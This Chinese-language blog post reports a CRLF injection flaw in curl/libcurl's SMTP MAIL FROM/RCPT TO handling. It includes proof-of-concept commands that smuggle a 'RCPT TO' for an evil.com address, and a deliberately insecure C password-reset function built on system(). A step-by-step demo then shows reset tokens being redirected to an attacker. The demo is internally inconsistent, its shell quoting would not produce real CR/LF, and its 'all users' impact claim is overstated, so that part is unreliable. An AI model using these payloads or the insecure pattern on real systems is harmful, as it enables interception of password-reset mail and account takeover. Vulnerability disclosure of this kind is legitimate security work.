写点什么

curl/libcurl SMTP CRLF 注入漏洞深度分析

作者:qife122
  • 2025-11-20
    福建
  • 本文字数:1503 字

    阅读完需:约 5 分钟

SMTP CRLF Injection in curl/libcurl via MAIL FROM/RCPT TO parameters

漏洞 ID: CURL-SMTP-CRLF-2024

CWE-93: CRLF 序列不当处理

执行摘要

curl/libcurl 在其 SMTP 实现中存在 CRLF 注入漏洞,攻击者可通过在邮箱地址中包含 CR(\r)和 LF(\n)字符来注入任意 SMTP 命令。

受影响版本

  • curl 8.17.0(最新稳定版)- 确认存在漏洞

  • 早期版本可能受影响

概念验证

# 易受攻击的命令 - 添加未授权收件人curl --url "smtp://localhost:2525" \  --mail-from $'legit@company.com\r\nRCPT TO:<attacker@evil.com>' \  --mail-rcpt "employee@company.com" \  --upload-file message.txt
复制代码

技术细节

漏洞代码位置: lib/smtp.c(第 838-846 行)


result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s%s%s%s%s%s",     from,  // ← 无CRLF验证    auth ? " AUTH=" : "",     auth ? auth : "",     size ? " SIZE=" : "",     size ? size : "",     utf8 ? " SMTPUTF8" : "");
复制代码


原始网络分析证据:


HEX: 4d41494c2046524f4d3a3c66696e616c40746573742e636f6d0d0a5243505420544f3a70726f6f66406576696c2e636f6d3e0d0aTEXT: 'MAIL FROM:<final@test.com\r\nRCPT TO:proof@evil.com>\r\n'
复制代码

复现环境

  • 操作系统:Linux

  • curl 版本:8.17.0

  • Python:3.11(用于测试服务器)

  • 测试方法:本地 SMTP 服务器分析

影响

  • 信息泄露:未授权邮件复制

  • 隐私侵犯:秘密邮件拦截

  • 访问控制绕过:规避应用级限制

  • 任意命令注入:可能进一步操纵 SMTP 协议

修复建议

  • 输入验证:拒绝包含控制字符的邮箱地址

  • 字符转义:正确转义 CR/LF 序列

  • 库补丁:实现类似于 lib/cookie.c 的验证

参考资料

  • CWE-93: https://cwe.mitre.org/data/definitions/93.html

  • curl 安全:https://curl.se/docs/security.html

实际利用演示

步骤 1:易受攻击的应用代码


// 示例:Web应用中的密码重置功能void send_password_reset(const char *username) {    char email[256];    snprintf(email, sizeof(email), "%s@company.com", username);
// 不安全:用户输入直接传递给curl char command[512]; snprintf(command, sizeof(command), "curl --mail-from 'noreply@company.com' " "--mail-rcpt '%s' " "--upload-file reset_email.txt", email); system(command);}
复制代码


步骤 2:攻击者利用


# 攻击者注册用户名:"admin\r\nRCPT TO:<hacker@evil.com>"# 应用构建:admin\r\nRCPT TO:<hacker@evil.com>@company.com
# 生成的curl命令:curl --mail-from 'noreply@company.com' \ --mail-rcpt 'admin\r\nRCPT TO:<hacker@evil.com>@company.com' \ --upload-file reset_email.txt
复制代码


步骤 3:SMTP 会话结果


MAIL FROM:<noreply@company.com>RCPT TO:<adminRCPT TO:<hacker@evil.com>@company.com>  ← 注入的命令!DATASubject: Password ResetYour reset token: ABC123
复制代码


影响: 攻击者接收所有用户的密码重置邮件!

技术对比

在 lib/cookie.c 中:


static bool invalid_octets(const char *ptr) {    // 明确拒绝CR/LF以确保安全    while(*ptr) {        if(((*ptr != 9) && (*ptr < 0x20)) || (*ptr == 0x7f))            return TRUE;  // ← 安全        ptr++;    }    return FALSE;}
复制代码


在 lib/smtp.c 中:


// 无验证 - 允许CR/LF注入result = Curl_pp_sendf(data, &smtpc->pp, "MAIL FROM:%s", from);// ↑ 易受攻击
复制代码


这种不一致性给信任 curl 安全处理用户输入的应用程序带来了真实的安全风险。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
curl/libcurl SMTP CRLF注入漏洞深度分析_网络安全_qife122_InfoQ写作社区